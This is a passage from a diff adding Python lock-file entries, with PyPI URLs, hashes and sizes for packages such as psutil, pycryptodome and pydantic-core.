+    { url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" },
+    { url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" },
+    { url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" },
+    { url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" },
+]
+
+[[package]]
+name = "ptyprocess"
+version = "0.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/20/e5/16ff212c1e452235a90aeb09066144d0c5a6a8c0834397e03f5224495c4e/ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220", size = 70762, upload-time = "2020-12-28T15:15:30.155Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/22/a6/858897256d0deac81a172289110f31629fc4cee19b6f01283303e18c8db3/ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35", size = 13993, upload-time = "2020-12-28T15:15:28.35Z" },
+]
+
+[[package]]
+name = "puremagic"
+version = "1.30"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/dd/7f/9998706bc516bdd664ccf929a1da6c6e5ee06e48f723ce45aae7cf3ff36e/puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9", size = 314785, upload-time = "2025-07-04T18:48:36.061Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/91/ed/1e347d85d05b37a8b9a039ca832e5747e1e5248d0bd66042783ef48b4a37/puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1", size = 43304, upload-time = "2025-07-04T18:48:34.801Z" },
+]
+
+[[package]]
+name = "py-cpuinfo"
+version = "9.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/37/a8/d832f7293ebb21690860d2e01d8115e5ff6f2ae8bbdc953f0eb0fa4bd2c7/py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690", size = 104716, upload-time = "2022-10-25T20:38:06.303Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e0/a9/023730ba63db1e494a271cb018dcd361bd2c917ba7004c3e49d5daf795a2/py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5", size = 22335, upload-time = "2022-10-25T20:38:27.636Z" },
+]
+
+[[package]]
+name = "pycparser"
+version = "3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
+]
+
+[[package]]
+name = "pycryptodome"
+version = "3.23.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" },
+    { url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" },
+    { url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = "2025-05-17T17:20:36.086Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/dc/9060d807039ee5de6e2f260f72f3d70ac213993a804f5e67e0a73a56dd2f/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d", size = 2269197, upload-time = "2025-05-17T17:20:38.414Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/34/e6c8ca177cb29dcc4967fef73f5de445912f93bd0343c9c33c8e5bf8cde8/pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a", size = 1768600, upload-time = "2025-05-17T17:20:40.688Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/1d/89756b8d7ff623ad0160f4539da571d1f594d21ee6d68be130a6eccb39a4/pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625", size = 1799740, upload-time = "2025-05-17T17:20:42.413Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/61/35a64f0feaea9fd07f0d91209e7be91726eb48c0f1bfc6720647194071e4/pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39", size = 1703685, upload-time = "2025-05-17T17:20:44.388Z" },
+    { url = "https://files.pythonhosted.org/packages/db/6c/a1f71542c969912bb0e106f64f60a56cc1f0fabecf9396f45accbe63fa68/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27", size = 2495627, upload-time = "2025-05-17T17:20:47.139Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/4e/a066527e079fc5002390c8acdd3aca431e6ea0a50ffd7201551175b47323/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843", size = 1640362, upload-time = "2025-05-17T17:20:50.392Z" },
+    { url = "https://files.pythonhosted.org/packages/50/52/adaf4c8c100a8c49d2bd058e5b551f73dfd8cb89eb4911e25a0c469b6b4e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490", size = 2182625, upload-time = "2025-05-17T17:20:52.866Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/e9/a09476d436d0ff1402ac3867d933c61805ec2326c6ea557aeeac3825604e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575", size = 2268954, upload-time = "2025-05-17T17:20:55.027Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/c5/ffe6474e0c551d54cab931918127c46d70cab8f114e0c2b5a3c071c2f484/pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b", size = 2308534, upload-time = "2025-05-17T17:20:57.279Z" },
+    { url = "https://files.pythonhosted.org/packages/18/28/e199677fc15ecf43010f2463fde4c1a53015d1fe95fb03bca2890836603a/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a", size = 2181853, upload-time = "2025-05-17T17:20:59.322Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/ea/4fdb09f2165ce1365c9eaefef36625583371ee514db58dc9b65d3a255c4c/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f", size = 2342465, upload-time = "2025-05-17T17:21:03.83Z" },
+    { url = "https://files.pythonhosted.org/packages/22/82/6edc3fc42fe9284aead511394bac167693fb2b0e0395b28b8bedaa07ef04/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa", size = 2267414, upload-time = "2025-05-17T17:21:06.72Z" },
+    { url = "https://files.pythonhosted.org/packages/59/fe/aae679b64363eb78326c7fdc9d06ec3de18bac68be4b612fc1fe8902693c/pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886", size = 1768484, upload-time = "2025-05-17T17:21:08.535Z" },
+    { url = "https://files.pythonhosted.org/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2", size = 1799636, upload-time = "2025-05-17T17:21:10.393Z" },
+    { url = "https://files.pythonhosted.org/packages/18/3d/f9441a0d798bf2b1e645adc3265e55706aead1255ccdad3856dbdcffec14/pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c", size = 1703675, upload-time = "2025-05-17T17:21:13.146Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/12/e33935a0709c07de084d7d58d330ec3f4daf7910a18e77937affdb728452/pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379", size = 1623886, upload-time = "2025-05-17T17:21:20.614Z" },
+    { url = "https://files.pythonhosted.org/packages/22/0b/aa8f9419f25870889bebf0b26b223c6986652bdf071f000623df11212c90/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4", size = 1672151, upload-time = "2025-05-17T17:21:22.666Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/5e/63f5cbde2342b7f70a39e591dbe75d9809d6338ce0b07c10406f1a140cdc/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630", size = 1664461, upload-time = "2025-05-17T17:21:25.225Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/92/608fbdad566ebe499297a86aae5f2a5263818ceeecd16733006f1600403c/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353", size = 1702440, upload-time = "2025-05-17T17:21:27.991Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/92/2eadd1341abd2989cce2e2740b4423608ee2014acb8110438244ee97d7ff/pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5", size = 1803005, upload-time = "2025-05-17T17:21:31.37Z" },
+]
+
+[[package]]
+name = "pydantic"
+version = "2.12.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "annotated-types" },
+    { name = "pydantic-core" },
+    { name = "typing-extensions" },
+    { name = "typing-inspection" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" },
+]
+
+[[package]]
+name = "pydantic-core"
+version = "2.41.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" },
+    { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" },
+    { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" },
+    { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" },
+    { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" },
+    { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" },
+    { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" },
+    { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" },
+    { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" },
+    { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" },
+    { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" },
